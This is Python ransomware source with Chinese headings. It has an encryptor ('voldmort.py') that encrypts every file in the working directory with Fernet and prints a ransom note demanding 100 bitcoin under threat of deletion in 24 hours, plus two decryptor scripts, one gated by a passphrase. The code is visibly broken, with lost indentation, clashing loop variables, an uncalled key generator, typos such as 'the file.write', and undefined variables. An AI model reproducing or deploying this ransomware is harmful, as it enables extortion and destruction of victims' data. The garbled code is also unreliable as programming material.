files = []
for files in os.listdir():
if file == "voldmort.py" or file == "thekey.key":
continue
if os.path.isfile(file):
files.append(file)
key = Fernet.generate_key
with open ("thekey.key","wb") as thekey:
thekey.write(key)
for file in files:
with open (file,"rb") as thefile:
contents = thefile.read()
contents_encrypted = Fernet(key).encrypt(contents)
with open (file,"wb") as thefile:
the file.write(contents_encrypted)
print("您的文件已经被加密,请给猪猪侠支付100比特币解锁,否则文件将在24小时之内被删除")
勒索解密代码decrypt.py
import os
from cryptography.fernet import Fernet
#Let's find some files
files = []
for files in os.listdir():
if file == "voldmort.py" or file == "thekey.key" or file == "decrypt.py":
continue
if os.path.isfile(file):
files.append(file)
with open ("thekey.key","rb") as key:
secretkey = key.read()
for file in files:
with open (file,"rb") as thefile:
contents = thefile.read()
contents_decrypted = Fernet(secretkey).decrypt(contents)
with open (file,"wb") as thefile:
the file.write(contents_decrypted)
自定义密钥解锁decrypt.py
import os
from cryptography.fernet import Fernet
#Let's find some files
files = []
for files in os.listdir():
if file == "voldmort.py" or file == "thekey.key" or file == "decrypt.py":
continue
if os.path.isfile(file):
files.append(file)
with open ("thekey.key","rb") as key:
secretkey = key.read()
if user_phrase == secretphrase
for file in files:
with open (file,"rb") as thefile:
contents = thefile.read()
contents_decrypted = Fernet(secretkey).decrypt(contents)
with open (file,"wb") as thefile:
the file.write(contents_decrypted)
print("恭喜您已经成功解锁文件")